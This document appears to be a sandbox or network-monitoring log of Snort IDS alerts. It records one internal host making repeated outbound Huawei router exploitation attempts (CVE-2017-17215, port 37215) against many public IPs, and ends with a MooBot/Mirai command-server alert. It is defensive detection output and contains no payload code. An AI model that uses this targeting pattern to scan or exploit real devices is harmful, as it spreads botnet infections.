Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:53130 -> 157.110.226.143:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:53130 -> 157.110.226.143:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:34064 -> 221.200.167.164:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:34064 -> 221.200.167.164:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:55530 -> 157.37.107.134:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:55530 -> 157.37.107.134:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:41094 -> 157.66.238.102:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:41094 -> 157.66.238.102:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:59050 -> 203.201.15.112:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:59050 -> 203.201.15.112:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:46136 -> 197.12.204.52:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:46136 -> 197.12.204.52:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:34536 -> 197.76.203.13:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:34536 -> 197.76.203.13:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:36278 -> 157.203.14.217:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:36278 -> 157.203.14.217:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:52728 -> 125.230.182.28:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:52728 -> 125.230.182.28:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:49188 -> 197.166.141.245:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:49188 -> 197.166.141.245:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:37174 -> 157.233.134.27:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:37174 -> 157.233.134.27:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:52906 -> 157.119.223.145:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:52906 -> 157.119.223.145:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:56886 -> 17.113.7.103:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:56886 -> 17.113.7.103:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:44014 -> 143.179.199.146:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:44014 -> 143.179.199.146:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:42650 -> 47.7.162.229:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:42650 -> 47.7.162.229:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:58196 -> 197.77.131.53:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:58196 -> 197.77.131.53:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:44052 -> 197.23.80.245:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:44052 -> 197.23.80.245:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:47068 -> 197.30.15.103:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:47068 -> 197.30.15.103:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:47794 -> 41.166.85.150:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:47794 -> 41.166.85.150:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:44040 -> 41.242.31.133:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:44040 -> 41.242.31.133:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:38000 -> 41.143.61.103:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:38000 -> 41.143.61.103:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:38628 -> 157.240.255.134:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:38628 -> 157.240.255.134:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:43126 -> 197.4.26.126:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:43126 -> 197.4.26.126:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:49974 -> 197.231.189.109:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:49974 -> 197.231.189.109:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:37348 -> 86.49.143.0:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:37348 -> 86.49.143.0:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:59124 -> 157.236.245.35:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:59124 -> 157.236.245.35:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:47982 -> 197.32.17.115:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:47982 -> 197.32.17.115:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:32888 -> 41.210.186.227:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:32888 -> 41.210.186.227:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:52450 -> 41.214.240.131:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:52450 -> 41.214.240.131:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:40150 -> 41.226.72.201:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:40150 -> 41.226.72.201:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:48608 -> 175.193.29.172:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:48608 -> 175.193.29.172:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:52232 -> 197.155.27.254:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:52232 -> 197.155.27.254:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:46632 -> 197.17.13.46:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:46632 -> 197.17.13.46:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:57708 -> 41.143.175.164:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:57708 -> 41.143.175.164:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:37826 -> 41.76.26.43:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:37826 -> 41.76.26.43:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:41818 -> 207.93.222.13:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:41818 -> 207.93.222.13:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:43680 -> 157.254.68.190:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:43680 -> 157.254.68.190:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:33418 -> 197.127.202.249:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:33418 -> 197.127.202.249:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:35138 -> 197.213.7.238:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:35138 -> 197.213.7.238:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:44458 -> 157.170.128.9:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:44458 -> 157.170.128.9:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:43176 -> 157.215.252.1:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:43176 -> 157.215.252.1:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:42574 -> 41.240.149.129:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:42574 -> 41.240.149.129:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:53302 -> 157.143.196.120:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:53302 -> 157.143.196.120:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:56366 -> 197.221.173.151:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:56366 -> 197.221.173.151:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:57502 -> 157.189.184.171:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:57502 -> 157.189.184.171:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:55506 -> 157.6.221.99:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:55506 -> 157.6.221.99:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:47684 -> 41.214.148.214:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:47684 -> 41.214.148.214:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:47728 -> 41.6.98.70:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:47728 -> 41.6.98.70:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:39456 -> 57.35.73.126:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:39456 -> 57.35.73.126:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:53842 -> 197.55.83.122:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:53842 -> 197.55.83.122:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:56808 -> 197.138.137.217:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:56808 -> 197.138.137.217:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:43520 -> 61.117.29.155:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:43520 -> 61.117.29.155:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:50602 -> 157.15.115.232:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:50602 -> 157.15.115.232:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:36746 -> 41.173.160.14:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:36746 -> 41.173.160.14:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:53230 -> 46.47.224.132:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:53230 -> 46.47.224.132:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:47604 -> 197.178.33.225:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:47604 -> 197.178.33.225:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:51880 -> 132.70.95.60:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:51880 -> 132.70.95.60:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:49826 -> 41.65.251.158:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:49826 -> 41.65.251.158:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:35550 -> 168.165.233.141:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:35550 -> 168.165.233.141:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:36512 -> 157.21.67.49:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:36512 -> 157.21.67.49:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:58950 -> 197.71.207.159:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:58950 -> 197.71.207.159:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:46562 -> 197.224.182.83:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:46562 -> 197.224.182.83:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:41354 -> 197.93.123.78:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:41354 -> 197.93.123.78:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:55906 -> 197.159.88.79:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:55906 -> 197.159.88.79:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:38764 -> 60.176.144.80:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:38764 -> 60.176.144.80:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:40802 -> 41.157.99.54:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:40802 -> 41.157.99.54:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:50028 -> 27.41.96.136:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:50028 -> 27.41.96.136:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:44174 -> 197.38.235.14:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:44174 -> 197.38.235.14:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:43440 -> 197.212.61.129:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:43440 -> 197.212.61.129:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:51548 -> 172.101.164.72:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:51548 -> 172.101.164.72:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:34472 -> 41.90.43.161:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:34472 -> 41.90.43.161:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:57796 -> 197.249.133.131:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:57796 -> 197.249.133.131:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:57480 -> 78.242.93.228:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:57480 -> 78.242.93.228:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:34808 -> 41.19.255.66:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:34808 -> 41.19.255.66:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:36788 -> 69.74.218.35:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:36788 -> 69.74.218.35:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:34718 -> 197.89.108.63:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:34718 -> 197.89.108.63:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:39796 -> 197.52.45.132:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:39796 -> 197.52.45.132:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:54738 -> 41.9.160.205:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:54738 -> 41.9.160.205:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:52740 -> 149.227.100.108:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:52740 -> 149.227.100.108:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:34142 -> 197.5.25.5:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:34142 -> 197.5.25.5:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:47332 -> 197.146.199.163:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:47332 -> 197.146.199.163:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:60150 -> 157.12.120.37:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:60150 -> 157.12.120.37:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:34110 -> 41.81.198.30:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:34110 -> 41.81.198.30:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:58602 -> 157.10.69.196:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:58602 -> 157.10.69.196:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:49446 -> 199.229.94.109:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:49446 -> 199.229.94.109:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:36772 -> 182.102.31.222:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:36772 -> 182.102.31.222:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:41330 -> 197.148.93.189:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:41330 -> 197.148.93.189:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:51376 -> 41.76.204.184:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:51376 -> 41.76.204.184:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:55928 -> 41.25.193.130:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:55928 -> 41.25.193.130:37215
Source: Traffic	Snort IDS: 2030489 ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response 15.235.203.214:2466 -> 192.168.2.23:32848
